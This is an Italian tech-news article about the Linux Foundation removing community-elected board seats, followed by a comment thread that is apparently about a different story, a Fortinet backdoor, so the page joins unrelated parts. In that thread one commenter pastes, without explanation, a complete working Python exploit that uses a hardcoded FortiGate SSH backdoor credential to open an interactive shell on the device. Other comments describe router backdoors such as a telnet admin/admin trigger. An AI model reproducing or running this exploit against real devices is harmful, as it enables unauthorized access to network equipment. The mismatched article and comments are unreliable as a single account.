Linux Foundation lascia indietro la community?

La celebre fondazione del Pinguino modifica il regolamento interno estromettendo, di fatto, i membri del consiglio eletti dalla community. Un passo pericoloso, dice qualcuno, mentre i dirigenti difendono la mossa

Roma – Tempesta in vista per Linux Foundation, l’organizzazione dedicata alla promozione e alla standardizzazione di Linux e del software open source che a dire dello sviluppatore Matthew Garrett si è chiusa a riccio lasciando fuori i rappresentati della community di volontari. Tutto come prima, risponde invece il CEO Jim Zemlin.

Garrett ha evidenziato un importante cambiamento apportato allo statuto interno della Fondazione per quanto riguarda l’elezione dei membri del consiglio che gestisce l’organizzazione, un organo che d’ora in poi dovrà di fatto accogliere solo le personalità indicate dalle aziende interessate a Linux per motivi di mero business.

Lo sviluppatore rivela che, fino a pochi giorni or sono, l’elezione del consiglio veniva ripartita tra 10 elementi indicati dai membri “platinum” della Linux Foundation (costo di iscrizione: 500.000 dollari all’anno), 3 dai membri “gold” (100.000 dollari), 1 dai membri “silver” (5.000-20.000 dollari) e 2 dai membri individuali (99 dollari) appartenenti alla community.

Il “grosso” delle decisioni della Fondazione è insomma vincolata alle esigenze delle corporazioni tecnologiche più importanti (Intel, NEC, IBM, HPE e Samsung sono tutti membri Platinum), ma ora anche la partecipazione simbolica della community è stata eliminata assieme alla possibilità di eleggere membri del consiglio da parte dei singoli partecipanti alla Fondazione.

Per Garrett la decisione di modificare lo statuto non è un cambiamento positivo, ma il CEO Jim Zemlin ha risposto ufficialmente alle preoccupazioni – e alle prevedibili polemiche emerse in questi giorni – parla di un’evoluzione in linea con le altre organizzazioni più importanti della “comunità e dell’industria” del FOSS. Le reazioni, neanche a dirlo, sono state tutto fuorché positive .

Alfonso Maruccia

La tua email sarà utilizzata per comunicarti se qualcuno risponde al tuo commento e non sarà pubblicato. Dichiari di avere preso visione e di accettare quanto previsto dalla informativa privacy

  • virusaccio scrive:
    Nel mio router
    Ho scaricato un virus che ha brasato il vecchio firmware...www.openwrt.org :D :p
  • ... scrive:
    Fortinet: ovvero, la faccia come il XXXX
    da quando una backdoor non e' malevola?e' come dire che il cianuro, beh, si, se vogliamo essere fiscali, ti ammazza se lo mangi, ma lui, di suo, e' buono.ma andassero a XXXXXX loro e il t100 che, sono sicuro, cancellera' questo post.
  • omino della backdoor scrive:
    backdoor benevola!
    " la stringa codificata come una funzionalità progettata per garantire acXXXXX facile e veloce agli apparati da parte del personale di supporto della società "quindi una backdoor!" In ogni caso, spiega, non si tratta in alcun modo di una backdoor malevola "Ah però loro dicono che sono buoni.Allora tutto a posto: io mi fido. :D
    • ... scrive:
      Re: backdoor benevola!
      - Scritto da: omino della backdoor
      " la stringa codificata come una funzionalità
      progettata per garantire acXXXXX facile e veloce
      agli apparati da parte del personale di supporto
      della
      società "

      quindi una backdoor!

      " In ogni caso, spiega, non si tratta in alcun
      modo di una backdoor
      malevola "

      Ah però loro dicono che sono buoni.
      Allora tutto a posto: io mi fido. :Danche stalin quando ha fatto fuori 4 milioni di ucraini lo faceva per far star piu larghi quelli che fossero sopravvissuti: in pratica un benefattore dell'umanita'.
    • Il fuddaro scrive:
      Re: backdoor benevola!
      - Scritto da: omino della backdoor
      " la stringa codificata come una funzionalità
      progettata per garantire acXXXXX facile e veloce
      agli apparati da parte del personale di supporto
      della
      società "

      quindi una backdoor!

      " In ogni caso, spiega, non si tratta in alcun
      modo di una backdoor
      malevola "

      Ah però loro dicono che sono buoni.
      Allora tutto a posto: io mi fido. :DAnch'io!
  • SalvatoreGX scrive:
    Unico uono senza peccato?
    "Fortinet definisce la stringa codificata come una funzionalità progettata per garantire acXXXXX facile e veloce agli apparati da parte del personale di supporto della società."Poter avere acXXXXX senza chiedere il consenso al cliente, visto che i tecnici e compagnia bella erano a conoscenza di questa porta spalancata, mi sa che potevano fare un pò come gli pare con i loro apparati.
    • SalvatoreGX scrive:
      Re: Unico uono senza peccato?
      - Scritto da: SalvatoreGX
      "Fortinet definisce la stringa codificata come
      una funzionalità progettata per garantire acXXXXX
      facile e veloce agli apparati da parte del
      personale di supporto della
      società."

      Poter avere acXXXXX senza chiedere il consenso al
      cliente, visto che i tecnici e compagnia bella
      erano a conoscenza di questa porta spalancata, mi
      sa che potevano fare un pò come gli pare con i
      loro
      apparati.Ed aggiungo.... Non proprio in questo modo, ma tutti gli apparati telecontrollati, tipo modem alice (telecom) , visto che hanno delle porte in ascolto per gli aggiornamenti firmware, potrebbero nascondere un qualcosa del genere.
      • nome e cognome scrive:
        Re: Unico uono senza peccato?
        - Scritto da: SalvatoreGX
        - Scritto da: SalvatoreGX

        "Fortinet definisce la stringa codificata

        come una funzionalità progettata per

        garantire acXXXXX facile e veloce agli

        apparati da parte del personale di

        supporto della società."

        Poter avere acXXXXX senza chiedere il

        consenso al cliente, visto che i tecnici

        e compagnia bella erano a conoscenza di

        questa porta spalancata, mi sa che

        potevano fare un pò come gli pare con i

        loro apparati.

        Ed aggiungo.... Non proprio in questo modo, ma
        tutti gli apparati telecontrollati, tipo modem
        alice (telecom) , visto che hanno delle porte in
        ascolto per gli aggiornamenti firmware,
        potrebbero nascondere un qualcosa del
        genere.Quelli Fastweb, in generale quando il provider vuole fornirvi il modem è quasi sempre provvisto di backdoor "per manutenzione".
        • SalvatoreGX scrive:
          Re: Unico uono senza peccato?
          - Scritto da: nome e cognome
          - Scritto da: SalvatoreGX

          - Scritto da: SalvatoreGX


          "Fortinet definisce la stringa
          codificata


          come una funzionalità progettata per


          garantire acXXXXX facile e veloce agli


          apparati da parte del personale di


          supporto della società."



          Poter avere acXXXXX senza chiedere il


          consenso al cliente, visto che i tecnici


          e compagnia bella erano a conoscenza di


          questa porta spalancata, mi sa che


          potevano fare un pò come gli pare con i


          loro apparati.



          Ed aggiungo.... Non proprio in questo modo,
          ma

          tutti gli apparati telecontrollati, tipo
          modem

          alice (telecom) , visto che hanno delle
          porte
          in

          ascolto per gli aggiornamenti firmware,

          potrebbero nascondere un qualcosa del

          genere.

          Quelli Fastweb, in generale quando il provider
          vuole fornirvi il modem è quasi sempre provvisto
          di backdoor "per
          manutenzione".Che poi se non erro, sei quasi obbligato a prendere quello fastweb.
          • Passante scrive:
            Re: Unico uono senza peccato?
            - Scritto da: SalvatoreGX

            Quelli Fastweb, in generale quando

            il provider vuole fornirvi il modem è

            quasi sempre provvisto di backdoor "per

            manutenzione".
            Che poi se non erro, sei quasi obbligato
            a prendere quello fastweb.Che per me è già un motivo per non prendere fastweb: pensa te se per aprire le porte di casa mia devo accedere alla MyFastwebPage !
      • ... scrive:
        Re: Unico uono senza peccato?
        - Scritto da: SalvatoreGX
        - Scritto da: SalvatoreGX

        "Fortinet definisce la stringa codificata come

        una funzionalità progettata per garantire
        acXXXXX

        facile e veloce agli apparati da parte del

        personale di supporto della

        società."



        Poter avere acXXXXX senza chiedere il consenso
        al

        cliente, visto che i tecnici e compagnia bella

        erano a conoscenza di questa porta spalancata,
        mi

        sa che potevano fare un pò come gli pare con i

        loro

        apparati.


        Ed aggiungo.... Non proprio in questo modo, ma
        tutti gli apparati telecontrollati, tipo modem
        alice (telecom) , visto che hanno delle porte in
        ascolto per gli aggiornamenti firmware,
        potrebbero nascondere nascondono un qualcosa del
        genere.fixed
        • SalvatoreGX scrive:
          Re: Unico uono senza peccato?
          #!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7# Usage: ./fgt_ssh_backdoor.py import socketimport selectimport sysimport paramikofrom paramiko.py3compat import uimport base64import hashlibimport termiosimport tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('xA3x88xBAx2Ex42x4CxB0x4Ax53x79x30xC1x31x07xCCx3FxA1x32x90x29xA9x81x5Bx70') h = 'AK1' + base64.b64encode('x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + ' ' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('rn*** EOFrn') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main()
      • Luca scrive:
        Re: Unico uono senza peccato?
        Esattamente per la ragione che tu esponi ho cambiato e invito chiunque conosca a cambiare i router telecom. Quando l'ho scoperto stavo per insultarli. Un acXXXXX remoto noto a pig+dogs! Robe da matti!
        • Ugo Amendolare scrive:
          Re: Unico uono senza peccato?
          - Scritto da: Luca
          Esattamente per la ragione che tu esponi ho
          cambiato e invito chiunque conosca a cambiare i
          router telecom. Quando l'ho scoperto stavo per
          insultarli. Un acXXXXX remoto noto a pig+dogs!
          Robe da
          matti!Vorrei poter capire meglio quanto detto da te.Potresti postare qualcosa di più concreto? Grazie in anticipo.
          • Passante scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Ugo Amendolare
            - Scritto da: Luca

            Esattamente per la ragione che tu esponi ho

            cambiato e invito chiunque conosca a cambiare i

            router telecom. Quando l'ho scoperto stavo per

            insultarli. Un acXXXXX remoto noto a pig+dogs!

            Robe da matti!

            Vorrei poter capire meglio quanto detto da te.

            Potresti postare qualcosa di più concreto? Grazie
            in anticipo.Immagina che io ti venda un modem, ed un giorno ti accorgi che dentro a questo modem io mi sono tenuto una corsia preferenziale attraverso la quale posso vedere tutto quello che fai in rete, cambiarti le cnfigurazioni, gestire la tua linea internet.
          • bubba scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Passante
            - Scritto da: Ugo Amendolare

            - Scritto da: Luca


            Esattamente per la ragione che tu
            esponi
            ho


            cambiato e invito chiunque conosca a
            cambiare
            i


            router telecom. Quando l'ho scoperto
            stavo
            per


            insultarli. Un acXXXXX remoto noto a
            pig+dogs!


            Robe da matti!



            Vorrei poter capire meglio quanto detto da
            te.



            Potresti postare qualcosa di più concreto?
            Grazie

            in anticipo.

            Immagina che io ti venda un modem, ed un giorno
            ti accorgi che dentro a questo modem io mi sono
            tenuto una corsia preferenziale attraverso la
            quale posso vedere tutto quello che fai in rete,
            cambiarti le cnfigurazioni, gestire la tua linea
            internet.nei buoni vecchi router adsl alice (tipo gli 'AGA' e/o gli 'AGPF' non ricordo) ce n'erano addirittura tre- una e' istutuzionale e trasversale ma 'non per tutti' (il TR069)- una era dall'algo predicibile per generare le pw WPA- un'altra era un bel daemon in ascolto (in lan) che ad un specifico pacchetto rispondeva con l'abilitazione del telnet e di admin/admin (o qualcosa di molto simile)
          • .... scrive:
            Re: Unico uono senza peccato?
            - Scritto da: bubba
            nei buoni vecchi router adsl alice (tipo gli
            'AGA' e/o gli 'AGPF' non ricordo) ce n'erano
            addirittura
            tre
            - una e' istutuzionale e trasversale ma 'non per
            tutti' (il
            TR069)
            - una era dall'algo predicibile per generare le
            pw
            WPA
            - un'altra era un bel daemon in ascolto (in lan)
            che ad un specifico pacchetto rispondeva con
            l'abilitazione del telnet e di admin/admin (o
            qualcosa di molto
            simile)Quindi chi è accusato di un qualsiasi reato può tranquillamente dire che chiunque aveva acXXXXX alla sua rete senza che lui potesse farci nulla
          • Passante scrive:
            Re: Unico uono senza peccato?
            - Scritto da: ....
            - Scritto da: bubba


            nei buoni vecchi router adsl alice (tipo gli

            'AGA' e/o gli 'AGPF' non ricordo) ce n'erano

            addirittura

            tre

            - una e' istutuzionale e trasversale ma 'non
            per

            tutti' (il

            TR069)

            - una era dall'algo predicibile per generare
            le

            pw

            WPA

            - un'altra era un bel daemon in ascolto (in
            lan)

            che ad un specifico pacchetto rispondeva con

            l'abilitazione del telnet e di admin/admin (o

            qualcosa di molto

            simile)

            Quindi chi è accusato di un qualsiasi reato può
            tranquillamente dire che chiunque aveva acXXXXX
            alla sua rete senza che lui potesse farci
            nullaQuesta cosa è assolutamente da considerare in caso non ti riescano a trovare cose sul pc, anzi in effetti è proprio il motivo per cui non è l'IP a fare il colpevole.
          • bubba scrive:
            Re: Unico uono senza peccato?
            - Scritto da: ....
            - Scritto da: bubba


            nei buoni vecchi router adsl alice (tipo gli

            'AGA' e/o gli 'AGPF' non ricordo) ce n'erano

            addirittura

            tre

            - una e' istutuzionale e trasversale ma 'non
            per

            tutti' (il

            TR069)

            - una era dall'algo predicibile per generare
            le

            pw

            WPA

            - un'altra era un bel daemon in ascolto (in
            lan)

            che ad un specifico pacchetto rispondeva con

            l'abilitazione del telnet e di admin/admin (o

            qualcosa di molto

            simile)

            Quindi chi è accusato di un qualsiasi reato può
            tranquillamente dire che chiunque aveva acXXXXX
            alla sua rete senza che lui potesse farci
            nulladirei che e' una motivazione standard usata da un bel po' (variava nei dettagli.. "e' stato il virus/bot/trojan/ecc nel pc/cellulare/pendrive" ecc). Dipende se ai panzoni togati questo basta per scaricare le responsabilita' :)Cmq a parte gli scherzi, devo ancora vedere (in italia) qualcuno portato in tribunale 'per backdoor credenziali per il customercare'.... al max arriva una riga sul quotidiano, ma poi sparisce subito :) sarebbe stato interessante..... Telecom di quei Cosi Bacati ne avra' installati a decine di migliaia...
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Passante
            - Scritto da: Ugo Amendolare

            - Scritto da: Luca


            Esattamente per la ragione che tu
            esponi
            ho


            cambiato e invito chiunque conosca a
            cambiare
            i


            router telecom. Quando l'ho scoperto
            stavo
            per


            insultarli. Un acXXXXX remoto noto a
            pig+dogs!


            Robe da matti!



            Vorrei poter capire meglio quanto detto da
            te.



            Potresti postare qualcosa di più concreto?
            Grazie

            in anticipo.

            Immagina che io ti venda un modem, ed un giorno
            ti accorgi che dentro a questo modem io mi sono
            tenuto una corsia preferenziale attraverso la
            quale posso vedere tutto quello che fai in rete,
            cambiarti le cnfigurazioni, gestire la tua linea
            internet.Beh non sono proprio tonto, intendevo docu o links, mi interessa perché ho un alice gate2+ wifi(che uso esclusivamente con ethernet),è ho cambiato password,disabilitato il telecontrollo, attivato il firewall, e cambiato password per l'acXXXXX 'fisico' al modem.Il tutto credendo di aver raggiunto un certo grado di "sicurezza". Ecco il perché della mia domanda?Chi volesse darmi qualche info, il mio grazie anticipatamente.
          • bubba scrive:
            Re: Unico uono senza peccato?
            e sarebbe codesto scatolo? [img]http://digilander.libero.it/viveretranquilli/ag2plus_prima.jpg[/img] o un altro? Visto quanti ne ha fatti mamma telecom e' usuale identificarli col loro 'nome firmware'... questo e' il vecchio AGA per es......
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: bubba
            e sarebbe codesto scatolo?
            [img]http://digilander.libero.it/viveretranquilli/No quello più nuovo questo https://assistenzatecnica.tim.it/at/portals/assistenzatecnica.portal?_nfpb=true&_pageLabel=InternetBook&radice=consumer_root&nodeId=/AT_REPOSITORY/632022
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Ugo Amendolare
            - Scritto da: bubba

            e sarebbe codesto scatolo?


            [img]http://digilander.libero.it/viveretranquilli/

            No quello più nuovo

            questo
            https://assistenzatecnica.tim.it/at/portals/assistMi correggo QUESTO:https://assistenzatecnica.tim.it/at/portals/assistenzatecnica.portal?_nfpb=true&_windowLabel=InternetPortlet_82&_pageLabel=InternetBook&nodeId=/AT_REPOSITORY/630093&radice=consumer_root
          • bubba scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Ugo Amendolare
            - Scritto da: Ugo Amendolare

            - Scritto da: bubba


            e sarebbe codesto scatolo?





            [img]http://digilander.libero.it/viveretranquilli/



            No quello più nuovo



            questo


            https://assistenzatecnica.tim.it/at/portals/assist

            Mi correggo
            QUESTO:https://assistenzatecnica.tim.it/at/portalsuhh troppo nuovo PER ME... se capisco bene e' il AGPWI... con openrg ..ed e' stato pocciato pure con openwrt...... avra' i soliti problemini in lan (csrf ,injection nei form cgi, ecc) del 70% dei router :) ma di specifiche backdoor o algo weak non so..... del resto non poccio quasi piu' e non seguo piu il modding ai router telecom
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: bubba
            - Scritto da: Ugo Amendolare

            - Scritto da: Ugo Amendolare


            - Scritto da: bubba



            e sarebbe codesto scatolo?









            [img]http://digilander.libero.it/viveretranquilli/





            No quello più nuovo





            questo





            https://assistenzatecnica.tim.it/at/portals/assist



            Mi correggo


            QUESTO:https://assistenzatecnica.tim.it/at/portals
            uhh troppo nuovo PER ME... se capisco bene e' il
            AGPWI... con openrg ..ed e' stato pocciato pure
            con openwrt...... avra' i soliti problemini in
            lan (csrf ,injection nei form cgi, ecc) del 70%
            dei router :) ma di specifiche backdoor o algo
            weak non so..... del resto non poccio quasi piu'
            e non seguo piu il modding ai router
            telecomYES! AGPWI_1.1.3 sembra che sia stato patchato, non ho trovato info a riguardo, per sicurezza(forse tra un pò lo cambio)Potrei metterci un vecchio pc che filtri ciò che arriva dal modem?Qualcuno più ferrato in reti, me lo consiglierebbe.ps. Evitate di dirmi di cambiare il modem, ci sono arrivato da solo. ;-)
        • Ugo Amendolare scrive:
          Re: Unico uono senza peccato?
          - Scritto da: Luca
          Esattamente per la ragione che tu esponi ho
          cambiato e invito chiunque conosca a cambiare i
          router telecom. Quando l'ho scoperto stavo per
          insultarli. Un acXXXXX remoto noto a pig+dogs!
          Robe da
          matti!E per quel Quando l'ho scoperto stavo perinsultarli, che chiedevo info, ammenochè non è tanto per dire come fanno in tanti. Saluti.
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Ugo Amendolare
            - Scritto da: Luca

            Esattamente per la ragione che tu esponi ho

            cambiato e invito chiunque conosca a cambiare i

            router telecom. Quando l'ho scoperto
            stavo
            per

            insultarli. Un acXXXXX remoto noto a pig+dogs!

            Robe da

            matti!

            E per quel Quando l'ho scoperto stavo per
            insultarli, che chiedevo info, ammenochè non è
            tanto per dire come fanno in tanti.


            Saluti.E con dispiacere, che presumo per l' utente Luca, che la verità e: leggere sopra, la parte dopo ammenochè.Tutti sanno tutto, tutti hanno, ma alla prova dei fatti assenti.
          • guerciO scrive:
            Re: Unico uono senza peccato?
            - Scritto da: Ugo Amendolare
            - Scritto da: Ugo Amendolare

            - Scritto da: Luca


            Esattamente per la ragione che tu esponi ho


            cambiato e invito chiunque conosca a cambiare
            i


            router telecom. Quando l'ho scoperto

            stavo

            per


            insultarli. Un acXXXXX remoto noto a pig+dogs!


            Robe da


            matti!



            E per quel Quando l'ho scoperto stavo per

            insultarli, che chiedevo info, ammenochè non è

            tanto per dire come fanno in tanti.





            Saluti.

            E con dispiacere, che presumo per l' utente Luca,
            che la verità e: leggere sopra, la parte dopo
            ammenochè.
            Tutti sanno tutto, tutti hanno, ma alla prova dei
            fatti
            assenti.Te lo faccio io un regalo http://disse.cting.org/2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability/
          • Ugo Amendolare scrive:
            Re: Unico uono senza peccato?
            - Scritto da: guerciO
            - Scritto da: Ugo Amendolare

            - Scritto da: Ugo Amendolare


            - Scritto da: Luca



            Esattamente per la ragione che tu esponi ho



            cambiato e invito chiunque conosca a
            cambiare

            i



            router telecom. Quando l'ho scoperto


            stavo


            per



            insultarli. Un acXXXXX remoto noto a
            pig+dogs!



            Robe da



            matti!





            E per quel Quando l'ho scoperto stavo
            per


            insultarli, che chiedevo info, ammenochè non è


            tanto per dire come fanno in tanti.








            Saluti.



            E con dispiacere, che presumo per l' utente
            Luca,

            che la verità e: leggere sopra, la parte dopo

            ammenochè.

            Tutti sanno tutto, tutti hanno, ma alla prova
            dei

            fatti

            assenti.
            Te lo faccio io un regalo
            http://disse.cting.org/2012/09/02/alice-gate-agpf-thank you!
          • eheheh scrive:
            Re: Unico uono senza peccato?
            quindi io che ho messo una password all'acXXXXX ho fatto bene indipendentemente da ciò
Chiudi i commenti